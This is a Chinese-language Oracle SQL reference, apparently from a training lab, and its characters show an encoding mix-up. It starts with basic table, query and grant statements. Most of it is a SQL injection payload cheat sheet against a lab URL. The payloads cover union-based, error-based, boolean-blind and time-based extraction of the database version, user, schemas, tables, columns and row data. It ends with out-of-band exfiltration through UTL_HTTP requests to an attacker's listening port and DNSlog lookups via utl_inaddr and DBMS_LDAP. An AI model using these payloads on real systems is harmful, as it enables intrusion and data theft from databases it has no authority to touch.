創(chuàng)建表
create table 表名(字段名稱 類型 約束)
create table ichunqiu(name char(10) primary key,age int)

增加列
alter table 表名 add(字段名稱, 數(shù)據(jù)類型)
alter table ichunqiu add(class_name varchar2(200))

刪除表中一列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name

修改表字段
alter table 表名 modify(字段名稱 新的字段類型)
alter table ichunqiu modify(name varchar(200))

**查詢** 
select *|列名|表達(dá)式 from 表名 where 條件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc   (升序)
select * from ichunqiu order by age       (默認(rèn)就是升序)

**插入** 
insert into 表名 values(所有字段對(duì)應(yīng)值)
insert into 表名 (字段名1,字段名2,字段名3,...)values(字段對(duì)應(yīng)值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')

**更新** 
update 表名 set 字段名稱 = 值 where 更新條件
update ichunqiu set age=25 where name='icq'

**刪除** 
delete 表名 where 條件
delete ichunqiu where name='ii'

SQL> grant connect,resource,dba to用戶名1[,用戶名2]...;

SQL> Create user user50 identified by user50;
SQL> grant connect,resource to user50;

grant select,insert, update on tablename to userA;            --賦權(quán)給用戶: userA
grant select, insert, update on tablename to public:          --賦權(quán)給所有用戶
grant select, update on product to userA with grant option;   --userA得到權(quán)限,并可以傳遞
revoke select insert, update on tablename from userA;         --收回給予的權(quán)限從用戶
userA revoke select, insert, update on tablename from public; --收回給予的權(quán)限從所有用戶

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

**2.判斷字段數(shù)** 
當(dāng)前表有4個(gè)字段
id=1 order by 4--   

**3.聯(lián)合查詢找回顯位** 
Oracle 數(shù)據(jù)庫(kù)查詢需要 from dual (虛表/偽表) 專為查詢語(yǔ)句設(shè)置的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有類型
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--

**4.查詢數(shù)據(jù)庫(kù)版本、數(shù)據(jù)庫(kù)連接用戶、當(dāng)前實(shí)例名** 
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--

**5.遍歷數(shù)據(jù)庫(kù)名** 
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('SYS')),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM')),3,4 from DUAL--

**6.遍歷表名** 
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO','FLAG','ICHUNQIU','STU')),3,4 from DUAL--

**7.遍歷flag表字段名** 
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag')),3,4 from DUAL--

**8.查詢表字段數(shù)據(jù)** 
id=-1 union select 1,(select NAME||AGE FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1),3,4 from dual--

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

and utl_inaddr.get_host_name((select user from dual))=1--

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢數(shù)據(jù)庫(kù)版本、數(shù)據(jù)庫(kù)連接用戶、當(dāng)前實(shí)例名** 
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--

2.**遍歷獲取數(shù)據(jù)庫(kù)名** 
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('SYS'))) is not null--

3.**遍歷獲取表名** 
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO'))) is not null--

**4.遍歷獲取字段名** 
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag'))) is not null--

5.**查詢表字段數(shù)據(jù)** 
id=1 and dbms_xdb_version.checkin((select NAME||AGE FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1)) is not null--

and1=(select decode(substr((select banner from sys.v_$Version where rownum=1),1,1), 'O', 1, 0) from dual--

and1=(instr((select user from dual),'T'))--

**1.判斷注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢數(shù)據(jù)庫(kù)版本/用戶** 
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字符串長(zhǎng)度
ascii  返回字符的ascii碼
instr  搜索指定結(jié)果內(nèi)是否包含關(guān)鍵字 存在返回1 否則返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual)--
id=1 and (select length(user) from dual)=4-- 
id=1 and (select ascii('a') from dual)=97-- 
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii碼判斷字符 T
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii碼判斷字符 E

id=1 and 1=(instr((select user from dual),'T'))--
id=1 and 1=(instr((select user from dual),'TE'))--
id=1 and 1=(instr((select user from dual),'TES'))--
id=1 and 1=(instr((select user from dual),'TEST'))--

**3.獲取庫(kù)名** 
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一個(gè)庫(kù)名長(zhǎng)度為3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii為83 S
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii為89 Y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii為83 S

**4.獲取表名** 
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一個(gè)表名的第一個(gè)字符是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一個(gè)表名的第二個(gè)字符是c

**5.獲取字段名** 
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表內(nèi)的第一個(gè)字段的第一個(gè)字符u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表內(nèi)的第一個(gè)字段的第二個(gè)字符s

and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1

id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O', dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
截取數(shù)據(jù)庫(kù)版本第一個(gè)字符為O就延時(shí)5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
用戶名長(zhǎng)度為4 就延時(shí)5s

select UTL_HTTP.REQUEST('http://www.baidu.com') from dual

and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

and (select SYS.DBMS_LDAP.INIT((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

select count(*) from allobjects where object name='UTL_HTTP'

# 發(fā)送請(qǐng)求，獲得當(dāng)前用戶名
id=1 and UTL_HTTP.request('http://ip:監(jiān)聽(tīng)端口/'||(select user from dual))=1--

# 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

# 發(fā)送請(qǐng)求，獲得當(dāng)前用戶名
id=1 and UTL_HTTP.request('http://ip:監(jiān)聽(tīng)端口/'||(select user from dual))=1--